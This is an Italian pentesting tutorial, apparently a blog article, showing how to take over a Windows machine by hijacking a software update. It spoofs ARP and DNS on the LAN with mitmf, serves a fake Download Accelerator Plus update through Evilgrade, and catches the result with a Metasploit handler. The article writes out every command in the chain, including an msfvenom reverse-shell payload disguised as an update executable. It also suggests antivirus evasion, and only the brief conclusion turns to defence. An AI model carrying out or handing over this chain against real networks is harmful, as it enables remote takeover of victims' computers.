Aggiornamenti e Client Side Exploitation
Tutti conosciamo l’importanza di aggiornare i nostri software. Che riguardi una semplice calcolatrice o parti vitali del sistema operativo, un aggiornamento spesso risolve eventuali instabilità del programma, bug e questioni legate alla sicurezza, mettendo l’utente finale in condizione di utilizzare un software sicuro. Insomma, non esiste sysadmin al mondo che non raccomandi di installare le ultime release degli sviluppatori.
Ma è davvero sempre così?
Nell’articolo di oggi vogliamo confutare questo assunto, dimostrando come una procedura di aggiornamento possa essere sfruttata da malintenzionati per prendere il controllo della macchina vittima.
Ci avvarremo di un particolare framework modulare preinstallato in ogni distribuzione Linux dedicata al pentesting, Evilgrade, che si basa sul principio di attacco MITM. Prerequisiti fondamentali sono la presenza di un software datato sulla macchina vittima compreso nella lista di programmi – peraltro ben fornita – supportata da Evilgrade e presenza dell’host sulla stessa rete della macchina attaccante (magari raggiungibile attraverso VPN o indirizzi DNS dinamici).
Ai fini del nostro test, abbiamo installato sulla macchina virtuale vittima un noto download manager, Download Accelerator Plus; è possibile prelevare vecchie versioni del programma al link seguente:
http://www.oldversion.com/windows/download-accelerator/
Procediamo creando un payload che fungerà da vettore di attacco:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IPATTACCANTE LPORT=PORTACHEVUOI X > download_accelerator_plus_update20180704.exe
Da notare che in questo modo il payload sarà facilmente identificabile da programmi antivirus; in un pentest reale sarebbe invece auspicabile industriarsi in tecniche di AV evading e crittografare l’eseguibile.
In un nuovo terminale lanciamo evilgrade e richiamiamo il modulo relativo al programma datato presente sul sistema vittima:
sudo evilgrade show modules configure NOMEMODULO
Indichiamo il percorso del payload generato e appuntiamoci l’URL che innescherà la macchina attaccante:
set agent PERCORSO/DEL/PAYLOAD.EXE show options start
Siamo quasi pronti per sferrare il vero e proprio attacco Man In The Middle. Modifichiamo come segue il file predefinito di configurazione del framework mitmf compreso nella nostra distribuzione:
sudo nano /etc/mitmf/mitmf.conf
E in un nuovo terminale diamo il comando:
sudo mitmf -i eth0 --spoof --dns --arp --target IPVITTIMA --gateway IPROUTER
Non ci resta che predisporre in ascolto un listener sulla macchina attaccante e compromettere la macchina alla quale è stato recapitato il payload iniziale:
msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT PORTADIPRIMA set LHOST IPATTACCANTE exploit
Non appena la vittima andrà alla ricerca di aggiornamenti, anziché scaricare gli ultimi fix ufficiali, verrà trasmesso in background il nostro malevolo payload: a quel punto la macchina sarà compromessa.
Conclusioni:
Con questo esempio pratico di Client Side Exploitation, si vuole dimostrare come anche una banale operazione di aggiornamento possa venire sfruttata da utenti malintenzionati per ottenere il controllo di una macchina. Come accennato nella premessa iniziale, l’attacco è efficace soprattutto se portato all’interno della rete LAN e implica che l’utente malintenzionato sia in costante ascolto e abbia preso di mira determinati host.
Non è il caso di diventare paranoici ma sicuramente non guasta prestare attenzione a tempi di risposta anomali in fase di aggiornamento del programma ed eventuali pop-up d’errore fasulli generati da Evilgrade volti a simulare un errore generico della procedura.
È bene sottolineare, inoltre, che ad oggi anche le software house più piccole si stanno adeguando a politiche di sicurezza sempre più stringenti, adottando misure di verifica della firma digitale più efficienti oppure rimandando l’utente al download presso repository ufficiali, i quali generalmente consentono – nonché consigliano fortemente – di verificare l’hash dell’eseguibile appena scaricato.
A cura di: Milo Caranti
Dopo aver frequentato la facoltà di Giurisprudenza, lavora attualmente come programmatore e svolge attività consulenziale per uno studio legale di Milano. Da sempre appassionato di Sicurezza informatica e vicino alle attuali tematiche in ambito ICT, è autore del libro ”Guida al Pentesting con Parrot Security OS”.